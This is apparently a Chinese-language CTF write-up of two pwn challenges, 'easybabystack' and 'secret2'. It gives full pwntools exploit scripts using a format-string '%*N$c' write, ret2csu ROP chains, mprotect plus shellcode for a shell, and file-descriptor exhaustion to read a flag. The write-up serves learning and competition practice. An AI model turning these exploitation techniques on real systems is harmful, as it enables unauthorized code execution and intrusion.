DASCTF&BJDCTF 3rd 三道PWN題復現

最近看了一下上次安恆五月賽沒做出的幾道PWN題,感覺自己水平還是不夠,還要多學習

easybabystack(格式化字符串*, ret2csu)

這題有個棧溢出漏洞
在這裏插入圖片描述
但是必須輸入正確的密碼,否則就直接退出了
在這裏插入圖片描述
還有個格式化字符串漏洞
在這裏插入圖片描述
字符串長度爲12
在這裏插入圖片描述
由於密碼是/dev/urandom生成的,無法預測。
這裏需要利用格式化字符串漏洞的’*'號

%*num$d從棧中取變量作爲N
比如num$處的值是0x100,那麼這個格式化字符串就相當於%256d

而密碼位於18$的位置,我們使用%*18$c就可以打印出密碼那麼長的字符串,然後%5$n寫到輸入的密碼處即可
不過這裏如果密碼太大可能會失敗,需要多試幾次,數字比較小的時候容易成功
完成後用ret2csu就能getshell

from pwn import *

#r = remote("183.129.189.60", 10001)
r = process("./easybabystack")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x4014A5
	b *0x401512
	b *0x4016C7
	b *0x401726
	b *0x40171D
	c
	''')
r.recvuntil("username: ")
#name = '%p:%p:%p:%p\n'
#name = '%6$p\n'
name = '%*18$c%5$n\n'
r.send(name)
r.recvuntil("passwd: ")
r.sendline('123')

csu1 = 0x40172A
csu2 = 0x401710
mprotect_got = 0x404050
bss = 0x4040D0
read_got = 0x404038
r.recvuntil("message: ")
payload = p64(1)*35
payload += p64(csu1) + p64(0) + p64(1) + p64(0x404000) + p64(0x1000) + p64(7) + p64(mprotect_got) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x1000) + p64(read_got) + p64(csu2)
payload += p64(0)*7 + p64(bss)
r.sendline(payload)
sleep(1)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()

secret2(文件描述符個數)

C語言中文件描述符只有1024個,爲0-1023,本題open之後並沒有close,在文件描述符耗盡之後讀入均爲’\x00’,最後還是利用ret2csu,但是隻能orw不能getshell
不能getshell的原因如下:

  1. 如果程序運行到最後執行system,此時文件描述符已經耗盡,而execve還是system好像會執行open,所以不能成功
  2. 運行到棧溢出的地方,此時關閉了stdin,估計是這裏的問題
from pwn import *

#r = remote("183.129.189.60", 10051)
r = process("./secret2")
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x401487
	b *0x401601
	c
	''')
context.log_level = 'debug'
elf = ELF("./secret2")
r.recvuntil('name?')
pop_rdi = 0x40161b
pop_rsi_r15 = 0x401619
csu1 = 0x401612
csu2 = 0x4015F8
system = elf.plt['system']
system_got = elf.got['system']
open_plt = elf.plt['open']
read_got = elf.got['read']
write_got = elf.got['write']
bss = 0x4040B0
sh = 0x4021EA
flag = 0x4021DE
payload = 'a'*9
#payload += p64(pop_rdi) + p64(sh) + p64(system)
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi_r15) + p64(0)*2 + p64(open_plt)
payload += p64(csu1) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss) + p64(0x50) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(bss) + p64(0x50) + p64(csu2)
r.sendline(payload)

for i in range(1024):
	r.recvuntil("Secret:")
	r.sendline('KMFL')

for i in range(234):
	r.recvuntil("Secret:")
	r.send(p64(0))


r.interactive()

happyending(libc2.29 off-by-null)

這題暫時還沒有看,主要是調試libc2.29太麻煩,先貼一個看雪上面的解析,之後填坑
glibc2.29下的off-by-null

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章